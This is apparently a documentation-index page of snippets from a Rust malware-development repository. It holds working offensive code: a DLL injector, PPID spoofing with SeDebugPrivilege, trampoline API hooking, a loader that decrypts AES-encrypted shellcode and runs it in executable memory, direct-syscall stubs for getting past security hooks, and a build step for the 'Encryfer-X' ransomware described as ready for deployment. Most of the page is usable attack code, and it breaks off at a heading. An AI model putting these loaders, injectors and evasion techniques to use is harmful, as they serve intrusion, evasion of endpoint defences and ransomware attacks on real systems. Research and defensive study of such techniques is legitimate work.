Rust for Malware Development

https://github.com/whitecat18/rust-for-malware-development
Admin
This repository contains source codes of various well-researched techniques used by malware authors,...
Tokens:32,615
Snippets:280
Trust Score:9.1
License:MIT
Update:9 months ago
Show doc for...
Tokens:
Raw
### Example NTSockets HTTP File Download Command

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/NtSockets/README.md

An example demonstrating how to use the NTSockets executable to download the index.html file from www.example.com and save it locally as output.txt. This command assumes the program has been built successfully and is being run with administrator privileges.

```bash
target\release\NtSockets.exe http://www.example.com/index.html output.txt
```

--------------------------------

### DLL Injector Command-Line Usage Examples

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/DLL_Injector/README.md

Demonstrates how to use the DLL injector executable from the command line. It shows examples for injecting a single DLL, multiple DLLs, and specifying the injection method (CRT or APC).

```bash
injector.exe <PID> [DLL Path 1] [DLL Path 2] ... [--method CRT|APC]
```

```bash
dll_inject.exe 1234 path\to\dll1.dll
```

```bash
dll_inject.exe 1234 dll1.dll dll2.dll
```

```bash
dll_inject.exe 1234 dll1.dll --method APC
```

--------------------------------

### Build Docker Image for Rust Cross-Compilation

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/docker.md

This command builds a Docker image named 'windows_compile' from the Dockerfile in the current directory. Ensure Docker is installed and configured before running this command. The resulting image will contain the necessary tools and environment for cross-compiling Rust to Windows.

```docker
docker build . -t windows_compile
```

--------------------------------

### Create New Rust Package with Cargo

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/deps.md

This command initializes a new Rust project using Cargo, the Rust build system and package manager. It creates a new directory with a basic project structure, including a Cargo.toml manifest file and a src/main.rs file.

```rust
cargo new [name]
```

```rust
cargo new maldev
```

--------------------------------

### Rust Cross-Compilation Dockerfile for Release Builds

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/docker.md

This modified Dockerfile enables release builds for cross-compilation to Windows. It includes the same setup as the default Dockerfile but appends the '--release' flag to the 'cargo build' command. This results in optimized binaries.

```dockerfile
FROM rust:latest

RUN apt update ; apt upgrade -y 
RUN apt install -y g++-mingw-w64-x86-64

RUN rustup target add x86_64-pc-windows-gnu 
RUN rustup toolchain install stable-x86_64-pc-windows-gnu 

WORKDIR /app

CMD ["cargo", "build", "--target", "x86_64-pc-windows-gnu", "--release"]
```

--------------------------------

### Default Rust Cross-Compilation Dockerfile

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/docker.md

This Dockerfile sets up a Rust environment for cross-compiling to the Windows x86_64 GNU target. It installs necessary packages, adds the target architecture, and configures the default command to build the Rust project. This version compiles in debug mode.

```dockerfile
FROM rust:latest

RUN apt update ; apt upgrade -y 
RUN apt install -y g++-mingw-w64-x86-64

RUN rustup target add x86_64-pc-windows-gnu 
RUN rustup toolchain install stable-x86_64-pc-windows-gnu 

WORKDIR /app

CMD ["cargo", "build", "--target", "x86_64-pc-windows-gnu"]
```

--------------------------------

### Build Rust Project with Cargo

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/deps.md

This command compiles the Rust project. Executing `cargo build` creates a debug version of the executable. For an optimized release version, use `cargo build --release`. The compiled artifacts are placed in the `target` directory.

```rust
cargo build
```

```rust
cargo build --release
```

--------------------------------

### Assembly: Syscall Instruction Example

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/syscalls/parallel_syscalls/README.md

This assembly snippet shows the common instruction used to invoke a system call in x86-64 architecture. The `mov eax, <syscall_number>` instruction sets the syscall number, which the kernel uses to identify the requested service.

```assembly
mov eax, <syscall_number>
```

--------------------------------

### Main Function for ECC Encryption/Decryption Operation in Rust

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/Encryption Methods/ecc_shellcode_exec/README.md

Demonstrates the usage of `encode_shellcode` and `decode_shellcode` functions in Rust. It generates an ECC key pair, encrypts a placeholder shellcode, and then decrypts it. The output shows the private key, public key, encrypted shellcode, and the decrypted shellcode. This function serves as a practical example of the ECC implementation.

```rust
fn main() {
    // Example string => lets name it as shellcode ie (placeholder)
    let shellcode: &[u8] = b"Hello, World!"

    // Generate ECC key pair
    let private_key = Scalar::random(&mut OsRng);
    let public_key = (ProjectivePoint::generator() * private_key).to_affine();

    println!("Private Key: {:?}", private_key);
    println!("Public Key: {:?}", public_key);

    // Convert AffinePoint to VerifyingKey (or PublicKey)
    VerifyingKey::from_encoded_point(&EncodedPoint::from(public_key))
        .expect("Invalid public key");

    let (r, encrypted_shellcode) = encode_shellcode(shellcode, &public_key);

    println!("Encrypted Shellcode: {:?}", encrypted_shellcode);

    // Decode the shellcode
    let decrypted_shellcode = decode_shellcode(&encrypted_shellcode, &r, &private_key);

    println!(
        "Decrypted Shellcode: {:?}",
        String::from_utf8(decrypted_shellcode).unwrap()
    );
}
```

--------------------------------

### Get Syscall Function Pointer (Rust)

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/syscalls/parallel_syscalls/parallel_syscalls.cpp.txt

Retrieves the memory address of a specific system call stub based on its name. It searches the provided arrays of syscall names and their corresponding stub pointers. Returns the pointer to the stub or NULL if the syscall is not found.

```rust
ULONG_PTR GetSyscall(CHAR rgszNames[MAX_NUMBER_OF_SYSCALLS][MAX_EXPORT_NAME_LENGTH], ULONG_PTR rgpStubs[MAX_NUMBER_OF_SYSCALLS], UINT uiCount, PCHAR pzSyscallName) {
	for (UINT i = 0; i < uiCount; i++) {
		if (!strcmp(rgszNames[i], pzSyscallName)) {
			return rgpStubs[i];
		}
	}
	printf("[!] Failed to find syscall: %s\n", pzSyscallName);
	return NULL;
}
```

--------------------------------

### NTAPI NtCreateThreadEx Signature (Rust)

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/syscalls/parallel_syscalls/parallel_syscalls.cpp.txt

Defines the function signature for the NtCreateThreadEx native API function. This is used for creating threads in a target process, providing detailed control over thread attributes, stack size, and execution start address. It's a crucial function for process injection techniques.

```rust
typedef NTSTATUS(NTAPI* FUNC_NTCREATETHREADEX)(
	OUT PHANDLE hThread,
	IN ACCESS_MASK DesiredAccess,
	IN PVOID ObjectAttributes,
	IN HANDLE ProcessHandle,
	IN PVOID lpStartAddress,
	IN PVOID lpParameter,
	IN ULONG Flags,
	IN SIZE_T StackZeroBits,
	IN SIZE_T SizeOfStackCommit,
	IN SIZE_T SizeOfStackReserve,
	OUT PVOID lpBytesBuffer
	);

```

--------------------------------

### Windows: Recursively Clean Rust Projects with PowerShell (5.1 and earlier)

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/CLEAN.md

This PowerShell command is designed for older versions of PowerShell. It recursively gets all child items, filters for directories, and then processes each directory. If a 'Cargo.lock' file is found within a directory, it cleans the cargo project and removes the lock file.

```powershell
Get-ChildItem -Recurse | Where-Object { $_.PSIsContainer } | ForEach-Object { if (Test-Path "$($_.FullName)\Cargo.lock") { Set-Location $_.FullName; cargo clean; Remove-Item "Cargo.lock" -ErrorAction SilentlyContinue; Set-Location .. } }
```

--------------------------------

### Build and Run Rust Information Gathering Tool

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/Malware-Samples/Information Gathering/Data_collector/README.md

Instructions for compiling and executing the Rust information gathering tool. This includes commands for running directly with Cargo or building a release executable.

```bash
cargo run 


```

```bash
cargo build --release
./target/release/Data_collector.exe
```

--------------------------------

### Main Function Initialization (Rust)

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/syscalls/parallel_syscalls/parallel_syscalls.cpp.txt

The main entry point for the program. It initializes system calls by calling 'InitSyscallsFromLdrpThunkSignature' and then loads the NTDLL.dll module into memory using 'LoadNtdllIntoSection'. Finally, it proceeds to extract syscall stubs. Returns 1 on failure.

```rust
int main(void) {
	if (!InitSyscallsFromLdrpThunkSignature()) {
		printf("[!] InitSyscallsFromLdrpThunkSignature failed\n");
		return 1;
	}
	ULONG_PTR pNtdll = LoadNtdllIntoSection();
	if (!pNtdll) {
		printf("[!] LoadNtdllIntoSection failed\n");
		return 1;
	}
	CHAR rgszNames[MAX_NUMBER_OF_SYSCALLS][MAX_EXPORT_NAME_LENGTH] = { 0 };
	ULONG_PTR rgpStubs[MAX_NUMBER_OF_SYSCALLS] = { 0 };
	UINT uiCount = ExtractSyscalls(pNtdll, rgszNames, rgpStubs);
	// Further operations using extracted syscalls would follow here
	return 0;
}
```

--------------------------------

### Rust DLL to Launch calc.exe using CreateProcessA

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/dll_injection/README.md

This Rust code defines a DLL that attaches to a process and uses the WinAPI function CreateProcessA to launch calc.exe. It includes thread creation to manage the lifecycle of the spawned process and ensures proper handle closure to prevent multiple instances.

```rust
use std::ffi::CString;
use std::ptr::{null, null_mut};
use winapi::shared::minwindef::{BOOL, DWORD, HMODULE};
use winapi::um::handleapi::CloseHandle;
use winapi::um::libloaderapi::FreeLibraryAndExitThread;
use winapi::um::processthreadsapi::{
    CreateProcessA, CreateThread,
    PROCESS_INFORMATION,
    STARTUPINFOA,
};
use winapi::um::synchapi::WaitForSingleObject;
use winapi::um::winbase::{CREATE_NEW_CONSOLE, INFINITE};
use winapi::um::winnt::PVOID;

struct ThreadData {
    h_process: PVOID,
    h_thread: PVOID,
    h_module: HMODULE,
}

extern "system" fn thread_proc(lp_param: PVOID) -> DWORD {
    let data = lp_param as *mut ThreadData;
    let process_info = unsafe {&*data};
    unsafe {
        WaitForSingleObject(process_info.h_process, INFINITE);
        CloseHandle(process_info.h_process);
        CloseHandle(process_info.h_thread);
        FreeLibraryAndExitThread(process_info.h_module, 0);
    }
    0 // This line won't actually be reached due to FreeLibraryAndExitThread
}

#[unsafe(no_mangle)]
pub extern "stdcall" fn DllMain(
    h_module: HMODULE,
    dw_reason: DWORD,
    _lp_reserved: *mut std::ffi::c_void,
) -> BOOL {
    match dw_reason {
        1 => { // DLL_PROCESS_ATTACH
            unsafe {
                let mut startup_info: STARTUPINFOA = std::mem::zeroed();
                startup_info.cb = std::mem::size_of::<STARTUPINFOA>() as u32;

                let mut process_info: PROCESS_INFORMATION = std::mem::zeroed();

                let application_name = match CString::new("C:\\Windows\\System32\\calc.exe") {
                    Ok(cstr) => cstr,
                    Err(_) => return 0,
                };

                let success = CreateProcessA(
                    null(),
                    application_name.as_ptr() as *mut i8,
                    null_mut(),
                    null_mut(),
                    0,
                    CREATE_NEW_CONSOLE,
                    null_mut(),
                    null(),
                    &mut startup_info,
                    &mut process_info,
                );

                if success == 0 {
                    return 0;
                }
            
                let thread_data = Box::into_raw(Box::new(ThreadData {
                    h_process: process_info.hProcess,
                    h_thread: process_info.hThread,
                    h_module,
                }));


                let thread_handle = CreateThread(
                    null_mut(),
                    0,                    
                    Some(thread_proc),   
                    thread_data as PVOID, 
                    0,                   
                    null_mut(),          
                );

                if thread_handle.is_null() {
                    CloseHandle(process_info.hProcess);
                    CloseHandle(process_info.hThread);
                    let _ = Box::from_raw(thread_data);
                    return 0;
                }

                CloseHandle(thread_handle);
                1
            }
        }
        0 => 1, // DLL_PROCESS_DETACH
        _ => 1,
    }
}

```

--------------------------------

### PPID Spoofing with Rust for Process Creation

Source: https://context7.com/whitecat18/rust-for-malware-development/llms.txt

Creates a new process with a specified spoofed parent process ID, useful for evading process tree analysis. This function requires the target PPID and the command line for the new process as arguments. It utilizes the 'windows' crate for Windows API interactions and requires elevated privileges (SeDebugPrivilege).

```rust
use windows::Win32::{
    Foundation::{CloseHandle, HANDLE},
    Security::{AdjustTokenPrivileges, LookupPrivilegeValueW, TOKEN_PRIVILEGES},
    System::Threading::{
        CreateProcessW, InitializeProcThreadAttributeList, OpenProcess,
        OpenProcessToken, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
        PROCESS_ALL_ACCESS, STARTUPINFOEXW, UpdateProcThreadAttribute,
    },
};

unsafe fn set_privilege(token: HANDLE, privilege_name: PCWSTR, enabled: bool) -> Result<(), Error> {
    let mut luid = std::mem::zeroed::<LUID>();
    LookupPrivilegeValueW(None, privilege_name, &mut luid)?;

    let mut tp = std::mem::zeroed::<TOKEN_PRIVILEGES>();
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = if enabled { SE_PRIVILEGE_ENABLED } else { TOKEN_PRIVILEGES_ATTRIBUTES(0) };

    AdjustTokenPrivileges(token, false, Some(&tp), std::mem::size_of::<TOKEN_PRIVILEGES>() as _, None, None)?;
    Ok(())
}

unsafe fn create_process_with_handle(handle: HANDLE, cmdline: &str) -> Result<u32, Error> {
    let mut si: STARTUPINFOEXW = std::mem::zeroed();
    let mut pi: PROCESS_INFORMATION = std::mem::zeroed();
    let mut size: usize = 0x30;

    si.StartupInfo.cb = std::mem::size_of::<STARTUPINFOEXW>() as u32;
    let attribute_list = HeapAlloc(GetProcessHeap()?, HEAP_ZERO_MEMORY, size);
    si.lpAttributeList = LPPROC_THREAD_ATTRIBUTE_LIST(attribute_list as *mut _);

    InitializeProcThreadAttributeList(Some(si.lpAttributeList), 1, Some(0), &mut size)?;
    UpdateProcThreadAttribute(
        si.lpAttributeList, 0,
        PROC_THREAD_ATTRIBUTE_PARENT_PROCESS as usize,
        Some(&handle as *const _ as *mut _),
        std::mem::size_of::<HANDLE>(), None, None
    )?;

    let mut us_cmdline: Vec<u16> = cmdline.encode_utf16().chain(std::iter::once(0)).collect();
    CreateProcessW(None, Some(PWSTR(us_cmdline.as_mut_ptr())), None, None, false,
        CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT, None, None, &mut si.StartupInfo, &mut pi)?;

    CloseHandle(pi.hThread)?;
    CloseHandle(pi.hProcess)?;
    Ok(pi.dwProcessId)
}

fn main() -> windows::core::Result<()> {
    unsafe {
        let ppid: u32 = std::env::args().nth(1).unwrap().parse().unwrap();
        let cmdline = std::env::args().nth(2).unwrap();

        let mut proc_handle = HANDLE(std::ptr::null_mut());
        OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &mut proc_handle)?;
        set_privilege(proc_handle, PCWSTR::from_raw("SeDebugPrivilege\0".encode_utf16().collect::<Vec<u16>>().as_ptr()), true)?;
        CloseHandle(proc_handle)?;

        let phandle = OpenProcess(PROCESS_ALL_ACCESS, false, ppid)?;
        println!("[+] Parent handle: {:#x}", phandle.0 as usize);

        let pid = create_process_with_handle(phandle, &cmdline)?;
        CloseHandle(phandle)?;
        println!("[+] Created process: {}({})", cmdline, pid);
    }
    Ok(())
}
```

--------------------------------

### Run Docker Container for Rust Compilation

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/docker.md

This command runs a Docker container named 'rust_cross_compile/windows' in detached mode and removes it upon completion. It mounts the current working directory ('your-pwd') to '/app' inside the container, allowing compiled binaries to be persisted. Replace 'your-pwd' with the absolute path to your Rust project directory.

```docker
docker run --rm -v ‘your-pwd’:/app rust_cross_compile/windows
```

--------------------------------

### Run PE Analyzer with PE File Argument

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/analysis/PE_Analyzer1/README.md

Executes the compiled PE Analyzer to analyze a specified Portable Executable file. Replace '<path-to-pe-file>' with the actual path to the target PE file.

```bash
cargo run -- <path-to-pe-file>
```

--------------------------------

### Build Encryfer-X Ransomware (Bash)

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/Malware-Samples/Encryfer/Encryfer-X/README.md

Builds the Encryfer-X ransomware in release mode using Cargo, Rust's package manager. This command generates an optimized executable binary ready for deployment.

```bash
cargo build --release
```

--------------------------------

### Add winapi and ntapi Dependencies to Cargo.toml (Rust)

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/DEPENPENCIES.md

This snippet shows how to add the `winapi` and `ntapi` crates to your Rust project's `Cargo.toml` file. The `winapi` crate includes a list of features that enable access to various Windows API functions, crucial for malware development. Ensure your versions are up-to-date and select features relevant to your testing needs.

```rust
[dependencies]
winapi = { version = "0.3", features = [
    "winuser",
    "setupapi",
    "dbghelp",
    "wlanapi",
    "winnls",
    "wincon",
    "fileapi",
    "sysinfoapi",
    "fibersapi",
    "debugapi",
    "winerror",
    "wininet",
    "winhttp",
    "synchapi",
    "securitybaseapi",
    "wincrypt",
    "psapi",
    "tlhelp32",
    "heapapi",
    "shellapi",
    "memoryapi",
    "processthreadsapi",
    "errhandlingapi",
    "winbase",
    "handleapi",
    "synchapi",
] }
ntapi = "0.4"

```

--------------------------------

### Configure Rust Crate for DLL Compilation

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/dll_injection/README.md

This configuration in `Cargo.toml` tells the Rust compiler to produce a dynamic link library (`.dll`) instead of a static library or executable. This is essential for creating DLLs that can be loaded by other applications.

```toml
[lib]
crate-type = ["cdylib"]

```

--------------------------------

### Build Syscall Stubs in C++

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/syscalls/parallel_syscalls/parallel_syscalls.cpp.txt

This C++ code allocates executable memory using VirtualAlloc and then constructs small assembly stubs for three critical system calls: NtOpenFile, NtCreateSection, and NtMapViewOfSection. It uses the previously discovered syscall numbers to build these stubs, enabling direct invocation of the syscalls.

```cpp
	ULONG_PTR SyscallRegion = (ULONG_PTR)VirtualAlloc(NULL, 3 * MAX_SYSCALL_STUB_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (!SyscallRegion) {
		printf("[!] VirtualAlloc for syscall stubs failed\n");
		return FALSE;
	}

	NtOpenFile = (FUNC_NTOPENFILE)BuildSyscallStub(SyscallRegion, dwSyscallNo_NtOpenFile);
	NtCreateSection = (FUNC_NTCREATESECTION)BuildSyscallStub(SyscallRegion + MAX_SYSCALL_STUB_SIZE, dwSyscallNo_NtCreateSection);
	NtMapViewOfSection = (FUNC_NTMAPVIEWOFSECTION)BuildSyscallStub(SyscallRegion + (2 * MAX_SYSCALL_STUB_SIZE), dwSyscallNo_NtMapViewOfSection);
	printf("[+] Syscall stubs initialized: NtOpenFile=0x%p, NtCreateSection=0x%p, NtMapViewOfSection=0x%p\n",
		NtOpenFile, NtCreateSection, NtMapViewOfSection);

	return TRUE;
}

```

--------------------------------

### Run NTSockets for HTTP File Download

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/NtSockets/README.md

Executes the compiled NTSockets program to download a file from a given HTTP URL and save it to a specified local path. Requires administrator privileges to interact with the AFD driver. Provide the URL as the first argument and the output file path as the second.

```bash
target\release\NtSockets.exe <http_url> <output_file_path>
```

--------------------------------

### Intercept Windows API Calls with Trampoline Hooking in Rust

Source: https://context7.com/whitecat18/rust-for-malware-development/llms.txt

This Rust code demonstrates API hooking by modifying function prologues with jump instructions to redirect execution to custom handler functions. It requires the 'windows' crate for Windows API access. The function takes a target API function and a replacement function as input, saves the original function's prologue, patches the target function with a jump to the replacement, and restores the original prologue when done. This allows for runtime monitoring and manipulation of API behavior.

```rust
use std::ptr::{null_mut, copy_nonoverlapping};
use windows::Win32::{
    System::{
        LibraryLoader::{GetModuleHandleA, GetProcAddress},
        Memory::{VirtualProtect, PAGE_EXECUTE_READWRITE},
    },
    UI::WindowsAndMessaging::{MessageBoxA, MB_OK, MB_ICONINFORMATION},
};

const INTERCEPTOR_SIZE: usize = 14;

struct ApiInterceptor {
    target_function: *mut std::ffi::c_void,
    replacement_function: *mut std::ffi::c_void,
    original_code: [u8; INTERCEPTOR_SIZE],
    original_protection: PAGE_PROTECTION_FLAGS,
}

// Implement `new` for ApiInterceptor
impl ApiInterceptor {
    fn new() -> Self {
        ApiInterceptor {
            target_function: null_mut(),
            replacement_function: null_mut(),
            original_code: [0; INTERCEPTOR_SIZE],
            original_protection: PAGE_PROTECTION_FLAGS(0),
        }
    }
}

// Implement `restore` for ApiInterceptor
impl ApiInterceptor {
    unsafe fn restore(&mut self) {
        let mut old_protection = PAGE_PROTECTION_FLAGS(0);
        VirtualProtect(self.target_function, INTERCEPTOR_SIZE, self.original_protection.0, &mut old_protection).ok();
        copy_nonoverlapping(self.original_code.as_ptr(), self.target_function as *mut u8, INTERCEPTOR_SIZE);
        VirtualProtect(self.target_function, INTERCEPTOR_SIZE, old_protection.0, &mut old_protection).ok();
    }
}

unsafe fn setup_interceptor(
    target_function: *mut std::ffi::c_void,
    replacement_function: *mut std::ffi::c_void,
    interceptor: &mut ApiInterceptor,
) -> bool {
    interceptor.target_function = target_function;
    interceptor.replacement_function = replacement_function;

    copy_nonoverlapping(
        target_function as *const u8,
        interceptor.original_code.as_mut_ptr(),
        INTERCEPTOR_SIZE,
    );

    let mut old_protection = PAGE_PROTECTION_FLAGS(0);
    VirtualProtect(target_function, INTERCEPTOR_SIZE, PAGE_EXECUTE_READWRITE, &mut old_protection).ok();
    interceptor.original_protection = old_protection;
    true
}

unsafe fn activate_interceptor(interceptor: &mut ApiInterceptor) -> bool {
    let mut trampoline_code: [u8; INTERCEPTOR_SIZE] = [
        0xFF, 0x25, 0x00, 0x00, 0x00, 0x00, // JMP QWORD PTR [RIP + 0x00]
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Placeholder for the absolute address
        0x90, 0x90 // NOP instructions to fill up to INTERCEPTOR_SIZE
    ];

    let replacement_ptr_as_u64 = interceptor.replacement_function as u64;
    
    // Copy the replacement function's address into the trampoline code
    let address_bytes = replacement_ptr_as_u64.to_le_bytes();
    copy_nonoverlapping(address_bytes.as_ptr(), trampoline_code.as_mut_ptr().offset(6), 8);

    copy_nonoverlapping(trampoline_code.as_ptr(), interceptor.target_function as *mut u8, INTERCEPTOR_SIZE);
    
    // Ensure changes are written to memory
    let mut old_protection = PAGE_PROTECTION_FLAGS(0);
    VirtualProtect(interceptor.target_function, INTERCEPTOR_SIZE, PAGE_EXECUTE_READWRITE, &mut old_protection).ok();
    true
}

unsafe fn custom_dialog(
    hwnd: isize,
    lptext: *const u8,
    lpcaption: *const u8,
    utype: u32,
) -> i32 {
    println!("MessageBoxA was called!");
    // You can choose to call the original MessageBoxA here if needed
    // For demonstration, we'll just return a value.
    MessageBoxA(None, s!("Intercepted Message"), s!("Intercepted Title"), MB_OK | MB_ICONINFORMATION)
}

fn main() {
    unsafe {
        let user32 = GetModuleHandleA(s!("user32.dll")).expect("Failed to get user32.dll");
        let msgboxa_addr = GetProcAddress(user32, s!("MessageBoxA")).expect("Failed to get address of MessageBoxA");

        let mut interceptor = ApiInterceptor::new();
        if setup_interceptor(msgboxa_addr as *mut _, custom_dialog as *mut _, &mut interceptor) {
            if activate_interceptor(&mut interceptor) {
                println!("Interceptor activated. Calling MessageBoxA...");
                // This call should now be intercepted
                MessageBoxA(None, s!("Original Message"), s!("Title"), MB_OK | MB_ICONINFORMATION);
                
                // Restore the original function
                interceptor.restore();
                println!("Original function restored. Calling MessageBoxA again...");
                MessageBoxA(None, s!("Original Message After Restore"), s!("Title After Restore"), MB_OK | MB_ICONINFORMATION);
            } else {
                eprintln!("Failed to activate interceptor.");
            }
        } else {
            eprintln!("Failed to setup interceptor.");
        }
    }
}

```

--------------------------------

### Windows: Recursively Clean Rust Projects with Command Prompt (CMD)

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/CLEAN.md

This Command Prompt command recursively searches for directories containing a 'Cargo.lock' file. Upon finding one, it changes the directory, executes 'cargo clean', deletes the 'Cargo.lock' file, and then navigates back to the parent directory. This allows for batch cleaning of multiple Rust projects.

```cmd
for /r %d in (.) do @if exist "%d\Cargo.lock" (cd /d "%d" & cargo clean & del /q "%d\Cargo.lock" & cd ..)
```

--------------------------------

### AES-256 Encrypt and Execute Shellcode in Rust

Source: https://context7.com/whitecat18/rust-for-malware-development/llms.txt

Encrypts shellcode using AES-256-CBC and decrypts/executes it at runtime. It utilizes the `libaes` crate for encryption and `winapi` for memory allocation and thread creation. The function takes a shellcode file path, a 32-byte key, and a 16-byte IV as input.

```rust
use rand::RngCore;
use libaes::Cipher;
use std::fs;
use std::ptr::null_mut;
use winapi::um::{
    memoryapi::VirtualAlloc,
    processthreadsapi::{CreateThread, ResumeThread},
    synchapi::WaitForSingleObject,
};

fn generate_key() -> [u8; 32] {
    let mut key = [0u8; 32];
    rand::rng().fill_bytes(&mut key);
    key
}

fn generate_iv() -> [u8; 16] {
    let mut iv = [0u8; 16];
    rand::rng().fill_bytes(&mut iv);
    iv
}

fn encrypt_shellcode(filepath: &str, key: &[u8; 32], iv: &[u8; 16]) -> Vec<u8> {
    let shellcode = fs::read(filepath).expect("Failed to read shellcode");
    let cipher = Cipher::new_256(key);
    cipher.cbc_encrypt(iv, &shellcode)
}

fn decrypt_and_execute(ciphertext: Vec<u8>, key: &[u8; 32], iv: &[u8; 16]) {
    let cipher = Cipher::new_256(key);
    let decrypted = cipher.cbc_decrypt(iv, &ciphertext);

    println!("[+] Decrypted shellcode");

    unsafe {
        let address = VirtualAlloc(null_mut(), decrypted.len(), 0x1000 | 0x2000, 0x40);
        std::ptr::copy(decrypted.as_ptr(), address as *mut u8, decrypted.len());

        let hthread = CreateThread(null_mut(), 0, std::mem::transmute(address), null_mut(), 0x04, null_mut());
        ResumeThread(hthread);
        WaitForSingleObject(hthread, 0xFFFFFFFF);
        CloseHandle(hthread);
    }
}

fn main() {
    let key = generate_key();
    let iv = generate_iv();
    println!("[+] Generated Key: {:?}", key);
    println!("[+] Generated IV: {:?}", iv);

    let encrypted = encrypt_shellcode("shellcode.bin", &key, &iv);
    println!("[+] Encrypted Shellcode: {:?}", encrypted);

    decrypt_and_execute(encrypted, &key, &iv);
}

```

--------------------------------

### Rust Dependencies for DLL Injector

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/DLL_Injector/README.md

This snippet lists the necessary dependencies for the Rust DLL injector project, specifically for interacting with Windows APIs. It includes features for error handling, handle management, library loading, memory operations, process and thread management, synchronization, and types.

```rust
winapi = { version = "0.3", features = ["errhandlingapi", "handleapi", "libloaderapi", "memoryapi", "processthreadsapi", "synchapi", "winnt", "winbase", "tlhelp32", "minwindef"] }
```

--------------------------------

### Define Windows Structures for PEB and LDR

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/syscalls/parallel_syscalls/parallel_syscalls.cpp.txt

Defines essential Windows internal structures like PEB (Process Environment Block) and LDR_DATA_TABLE_ENTRY, which are crucial for understanding process and module information within the operating system. These structures are fundamental for low-level Windows programming and malware analysis.

```c
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#include <intrin.h>

typedef void* PRTL_USER_PROCESS_PARAMETERS;
typedef void* PPS_POST_PROCESS_INIT_ROUTINE;

typedef struct _UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
	PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _PEB_LDR_DATA {
	DWORD dwLength;
	DWORD dwInitialized;
	LPVOID lpSsHandle;
	LIST_ENTRY InLoadOrderModuleList;
	LIST_ENTRY InMemoryOrderModuleList;
	LIST_ENTRY InInitializationOrderModuleList;
	LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;

typedef struct _PEB {
	BYTE Reserved1[2];
	BYTE BeingDebugged;
	BYTE Reserved2[1];
	PVOID Reserved3[2];
	PPEB_LDR_DATA Ldr;
	PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
	PVOID Reserved4[3];
	PVOID AtlThunkSListPtr;
	PVOID Reserved5;
	ULONG Reserved6;
	PVOID Reserved7;
	ULONG Reserved8;
	ULONG AtlThunkSListPtr32;
	PVOID Reserved9[45];
	BYTE Reserved10[96];
	PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
	BYTE Reserved11[128];
	PVOID Reserved12[1];
	ULONG SessionId;
} PEB, * PPEB;

typedef struct {
	LIST_ENTRY InLoadOrderLinks;
	LIST_ENTRY InMemoryOrderModuleList;
	LIST_ENTRY InInitializationOrderModuleList;
	PVOID DllBase;
	PVOID EntryPoint;
	ULONG SizeOfImage;
	UNICODE_STRING FullDllName;
	UNICODE_STRING BaseDllName;
	ULONG Flags;
	SHORT LoadCount;
	SHORT TlsIndex;
	LIST_ENTRY HashTableEntry;
	ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;

typedef struct _OBJECT_ATTRIBUTES {
	ULONG Length;
	HANDLE RootDirectory;
	PUNICODE_STRING ObjectName;
	ULONG Attributes;
	PVOID SecurityDescriptor;
	PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef struct _IO_STATUS_BLOCK {
	union {
		NTSTATUS Status;
		PVOID Pointer;
	};
	ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
```

--------------------------------

### Load ntdll.dll into Memory Section in C++

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/syscalls/parallel_syscalls/parallel_syscalls.cpp.txt

This C++ code snippet demonstrates how to load the ntdll.dll file into a memory section. It uses native Windows API functions like NtOpenFile and InitializeObjectAttributes to open the file and prepare for mapping it into memory. Error handling is included for the NtOpenFile call.

```cpp
ULONG_PTR LoadNtdllIntoSection() {
	NTSTATUS ntStatus;
	HANDLE hFile = NULL;
	OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
	UNICODE_STRING ObjectPath = { 0 };
	IO_STATUS_BLOCK IoStatusBlock = { 0 };
	HANDLE hSection = NULL;
	LARGE_INTEGER maxSize = { 0 };
	LPVOID lpvSection = NULL;
	SIZE_T viewSize = 0;

	RtlInitUnicodeString(&ObjectPath, L"\\??\\C:\\Windows\\System32\\ntdll.dll");
	InitializeObjectAttributes(&ObjectAttributes, &ObjectPath, OBJ_CASE_INSENSITIVE, 0, NULL);

	ntStatus = NtOpenFile(&hFile, FILE_READ_DATA, &ObjectAttributes, &IoStatusBlock, FILE_SHARE_READ, 0);
	if (!NT_SUCCESS(ntStatus)) {

```

--------------------------------

### Rust DLL Injector Implementation

